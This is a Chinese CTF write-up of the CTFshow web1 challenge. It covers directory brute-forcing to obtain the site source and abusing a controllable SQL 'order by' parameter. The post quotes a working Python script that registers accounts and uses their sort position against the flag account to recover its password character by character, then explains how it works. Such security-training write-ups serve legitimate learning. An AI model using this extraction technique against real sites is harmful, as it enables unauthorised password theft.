CTFshow web1(困难题)
根据前面做题经验,看见登录框基本都是跑一下爆破,弱口令等等
这里用 dirmap 目录爆破爆出来有一个 www.zip
把他下载下来
看了 login.php 和 reg.php
两个文件的源码都对sql注入常见的字符做了严格的过滤,sql注入此路不通
看了下 main.php 看起来是一个显示用户信息的页面。
我们回到登录界面,注册一个账号并登录查看一下是什么样的效果
出来了一个用户信息表,里面是已注册的用户信息
第一行有个提示 flag_is_my_password
看来是要获取这个用户的密码
(才发现题目有提示)
回到 main.php 源码
关键就是这两句,我们可以控制 order by 的参数
我本人到这里就没思路了。看网上别人的 writeup 发现可以利用 ”order by 密码“ 这种方法来猜解密码
手工来操作比较复杂,所以还是得写脚本
这里找到一位大佬写的脚本:
https://blog.csdn.net/miuzzx/article/details/104514442
#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
k=l2
print(k)
break
我对这位大佬脚本实现原理的解析:
原网页可以控制 order by 子句的参数,这里可以设置为按照密码排序
按照密码排序时,密码是按照首字符的 ascii 值的大小来排序的。
脚本作者通过爆破字符的方式,注册新账号,并为这些新账号设置1位、2位… 45位的密码,通过查看这些新创建的账号排位是在 flag 账号的上方还是下方来推测 flag 账号的密码。
当设置的密码某一位 ascii 值比 flag 账号的密码对应位的 ascii 值小,就会排在 flag 账号的上面;如果和对应位相等,还是排在上面(因为密码的总长度);只有比对应位的 ascii 值大,这个账号才会排在 flag 账号的下面。
光说明有点抽象,直接看图:
这位大佬的脚本通过一个很巧妙的方式来判断这些记录是在 flag 的上方还是下方(用 t.find也行,同样是返回该标签的首字符位置)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
就是通过 指定字符串 index 的值
值更大,就是在下方
网上很多人的疑问:
为什么这个脚本跑出来的 flag 最后会是 ‘|’ 符号?
这是因为这位大佬的脚本里爆破字符的列表 ‘s’ 里面带有了 ‘|’ 符号
分别查看 ‘{‘ ‘}’ ‘|‘ 这三个字符的 ascii 码,会发现一个很有趣的现象
{:123
|:124
}:125
没错,两个花括号的 ascii 码不是连着的。
原理就研究到这里,我们接下来跑一下这个代码
flag 到手
标签:web,账号,困难,密码,flag,session,ctfshow,php,ascii From: https://www.cnblogs.com/endermanneer/p/18180926